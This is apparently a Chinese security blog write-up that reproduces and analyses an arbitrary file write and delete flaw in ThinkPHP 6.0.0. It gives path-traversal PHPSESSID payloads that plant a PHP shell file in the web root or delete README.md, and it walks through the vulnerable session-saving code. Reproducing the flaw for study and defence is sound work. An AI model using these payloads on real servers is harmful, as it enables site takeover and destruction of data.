环境准备

  • windows 10
  • phpstudy 8(php7.3)
  • topthink/framework v6.0.0

thinkphp6默认未开启session,开启需修改/app/middleware.php文件,去掉\think\middleware\SessionInit::class前的注释

在控制器修改添加相应测试语句,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
public function index()
{
session('test', $_GET['test']);
//echo session('test');
return 'hello world!';
}

修改phpstudy配置,使网站根目录指向public目录

漏洞复现

文件写入

修改PHPSESSID为payload:
112233/../../../public/shell.php

触发漏洞http://127.0.0.1/index.php?test=<?php%20phpinfo();?>

public目录下会生成相应的shell文件

文件删除

修改PHPSESSID为payload:
1122334455661/../../../README.md

触发漏洞http://127.0.0.1/index.php?test=

CMS根目录下相应的README.md文件即会被删除

漏洞分析

session('test', $_GET['test']);处打上断点

由于thinkphp的session存储是要在会话结束才进行的,所以停在断点后,继续往后跳就行了

最后找到关键的漏洞函数,在vendor\topthink\framework\src\think\session\Store.php:254

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function save(): void
{
$this->clearFlashData();

$sessionId = $this->getId();

if (!empty($this->data)) {
$data = $this->serialize($this->data);

$this->handler->write($sessionId, $data);
} else {
$this->handler->delete($sessionId);
}

$this->init = false;
}

写shell的操作,到该函数时调试结果如下

$data以数组方式存储session数据,测试代码中来自$_GET['test']

函数中判断$data不为空,则将$data序列化后写入$sessionId,也就是用户可控的PHPSESSID中的值

如果判断为空,则进行删除操作

注意点

  • PHPSESSID需要满足长度为32,否则内容不可控,代码见vendor\topthink\framework\src\think\session\Store.php:119

    1
    2
    3
    4
    public function setId($id = null): void
    {
    $this->id = is_string($id) && strlen($id) === 32 ? $id : md5(microtime(true) . session_create_id());
    }
  • thinkphp中session存储文件的命名格式为sess_+PHPSESSID,但是实际情况下web目录会设置成/public,无法直接访问到/runtime目录下生成的文件,也就是说需要使用..往上级目录跳,也就必须越过sess_xxxx这个不存在的目录,所以该漏洞基本只能用于windows环境

  • 实际情况中session数据可控的情况很少,但是官方文档中有使用session('test')取值的操作(测试代码中注释部分),如果sess_+PHPSESSID该文件中的数据不可反序列化,$data则取不到数据,会话结束后便进入到删除操作,表明文件删除的情况应该多于getshell

Reference

https://mochazz.github.io/2020/01/14/ThinkPHP6.0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99/
https://paper.seebug.org/1114/